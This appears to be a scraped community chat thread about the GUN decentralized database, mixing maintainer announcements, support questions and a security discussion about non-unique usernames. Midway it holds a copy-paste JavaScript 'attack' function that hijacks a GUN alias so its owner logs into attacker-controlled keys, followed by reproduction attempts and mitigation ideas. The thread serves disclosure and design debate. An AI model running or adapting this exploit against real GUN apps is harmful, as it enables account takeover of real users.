Hey everyone, as many of you know I'm gone till end of January due to family emergency. Thanks everyone for covering for me!
If any Q was missed... please ping me again next week. Happy to help :).
I got pinged about a security issue by @phantomlsh , and wanted to assure everyone: It is well documented that username/aliases are NOT globally unique https://gun.eco/docs/User#unexpected-behavior per amark/gun#1193 . The only purpose of the alias/username is to support web2-like login. (Yes, even if there are multiple accounts registered on the same alias/username, you'll still login to the correct account!) This is not a security vulnerability. However, assuming that the alias is unique is incorrect and could result in bad things for your app, but you discover pretty quickly that alias/usernames aren't unique during development.
Nothing is bad about the documentation reminding people of this in more places though, so please edit the wiki in any section you think this should apply. So friendly reminder, as documented, don't treat alias/username as unique.
{"ek":{"ct":"mFehFU4YRU6WUaGKF6waHMyqcRuMybeqti6x3BIY08dW+E04P0Ui8em9W4qcAyCSnDtxqJKmjnP2i88Dr0pRF1GOWVhhA2o7k8z+BMB0uiH6dRGPEaimliSldq0YFYjTEhzAh7dXeAgUgdA9+/2KTuJdyXCxSdhzgarvtA==","iv":"Y8QnHaqh4Q/73GKVvpX/","s":"TQRz+NNR+MTl"},"s":"NmCuS78MLLDytZ4h1uTVSQOXjGksgJ8rZ4r21roDiXbif0kv3PApqA5eGaO2K7Dw"}
@LennyVerse please, if you're doing various NFT/blockchain token stuff combined with GUN, please be willing to pay all the nice people here in this community that help provide support.
@IanGordonOne yeah aethiop has a fix in latest github main, try that? If not, check https://github.com/aethiop/jot
1 reply
(ek means encrypted, ct means cipher text, iv is initialization vector. What you're seeing is encrypted data when you are not logged in. Please try to crack it! If you can, let me know, and I'll report to Chromium/Safari/Mozilla, as its using their cryptography curves.)
Hey everyone, as many of you know I'm gone till end of January due to family emergency. Thanks everyone for covering for me!
If any Q was missed... please ping me again next week. Meanwhile <3 <3 <3 <3 to all the super awesome people here helping others out (and I'm thankful how helpful they are even when I am around!)
Cya! Cheers.
1 reply
gun as a gun instance and SEA, just COPY and PASTE the following code into the browser console.async function attack (alias) {
const aliasNode = await gun.get('~@' + alias).once().then()
delete aliasNode._
const targetPub = Object.keys(aliasNode)[0].substring(1)
console.log(`${alias}'s original public key is ` + targetPub)
const targetAuth = await new Promise(r => gun.user(targetPub).get('auth').once(r))
const attackPassword = 'WHATEVER I DONT CARE!'
let newPub = '~', attackAlias = ''
while (newPub > targetPub) {
attackAlias = Math.random().toString(36).substring(2)
await new Promise(r => gun.user().create(attackAlias, attackPassword, r))
newPub = gun.user().is.pub
}
const pair = await new Promise(r => gun.user().auth(attackAlias, attackPassword, r)).then(r => r.sea)
gun.user().get('auth').put(targetAuth)
gun.get('~@' + alias).set(gun.user())
console.log(`Cheers! Now ${alias} would log into your new public key, and the key pairs info is following:`, pair)
}gun.user().is
attack function in, ran attack("user1"), waited for the reponse ("cheers! [...]"), logged in again. Still the correct public key was used. Am I doing something wrong? Can you reproduce?
but i am unable to do so..
one way connection is achieved but i am struggling for the rest.
help me pls
Hi.
to fully explore the issue, I suggest you create a new user, attack, and clear the localstorage cache before logging in again, so that you can simulate login from another device etc.
I think this has been addressed before / few month ago. Nobody should use user / pass, because well, everyone can change it. GUN Database itself is just plain text. No need fancy trick whatsoever, I can easily edit the key of some user using notepad. So the next time he login using that user / pass, he will use the keypair that I put. It is saved specifically on node called "auth" and "alias". In that node you can do whatever you want to that specific user.
Butttt.... GunDB is inherently decentralized database, it has to be treated as such. Meaning, as opposed to centralized database, the source of truth is not the server. So, we shouldn't use user/pass, becase user / pass is inherently web2.0 / centralized. The source of truth should be on the client and its local storage / indexedDB. Meaning the user should hold their own keypair and their own data. Client shouldn't save data on the server, or on other people node. Let alone saving login detail on the server. If the apps is designed this way, there is no way for server admin, let alone other people to mess with the data. Even in the worst case scenario (e.g. the server crash / blow up), the data would be still intact. It's the essence of web3.0. Perhaps gun.user().auth('username','password') is there just to make transition from traditional web2.0 user auth easier. As suggested by people here, by no means, it should be used.
If you must use user / pass, a possible approach is Generate keypair using salt / passphrase. Haven't tried, should be possible. Polkadot use it. Would love if GunDB natively support this, tagging @amark
And of course, you can always managing the user auth using traditional web2.0 such as Firebase or the open source alternative Supabase. Although it's centralized, it's way better than authing using gundb user/pass.
Another fancy trick is to use content addressing, to save the keypair into gundb tree, with some kind of passphrase. If people don't know the address / passphrase, they won't know the keypair. Of course, excluding the relay server admin.
Arguing the "current method is there to make the transition from web 2 possible" is a little lazy way to justify the huge security flaw imo, almost every Gun app uses this as a login currently, and its even suggested in the docs which makes the problem worse..
17 replies
You can encrypt the username with the password as a seed and store the both keys encrypted as well (as it is now with the private), that way nobody will know that is actually a user data graph node they are looking at. Theres plenty of ways of doing it thats better than the current approach.
Arguing the "current method is there to make the transition from web 2 possible" is a little lazy way to justify the huge security flaw imo, almost every Gun app uses this as a login currently, and its even suggested in the docs which makes the problem worse..
I am not aware of production project that still use username / password. Example / Hobby Project is another thing. Perhaps every gun developer should migrate their system into those of keypair. They should make auth like IRIS, IRIS is good, be like IRIS. Most of decentralized project I knew use keypair, instead of user/pass.
I'm getting this:
nodemodules/gun/lib/open.js:17
delete ((data = Gun.obj.copy(data))||{}).;
^
TypeError: Cannot read properties of undefined (reading 'copy')
7 replies
3 replies
So I have been reworking the underlying guts of Entangler ... Part of the reason for this effort is to make it smaller... But the other reason is to remove the dependency on WebTorrent altogether (perhaps make that an option / optional fallback). What this means is you will soon be able to use it with your existing Gun relay server directly, where your Gun relay server is the signaling server for Entangler.
It will be a stand-alone library, too. One that creates a partial mesh of WebRTC peers that are fully able to communicate with each other regardless of whether or not they are directly connected (gossip protocol). A partial mesh that can self-heal if peers are disconnected.
I already have a version of it working, but realized I built it on an unnecessary dependency... So I am rebuilding it without that dependency.
I'm going to call it either Quickpeers or Easypeers, I haven't decided yet. Probably Easypeers, since this is the culmination of my experimentation with simple-peer, which for me, wasn't that simple... even though simple-peer greatly simplifies WebRTC signaling itself.
I hope to have something shareable by the end of the weekend.. but message routing through a partial mesh isn't exactly trivial.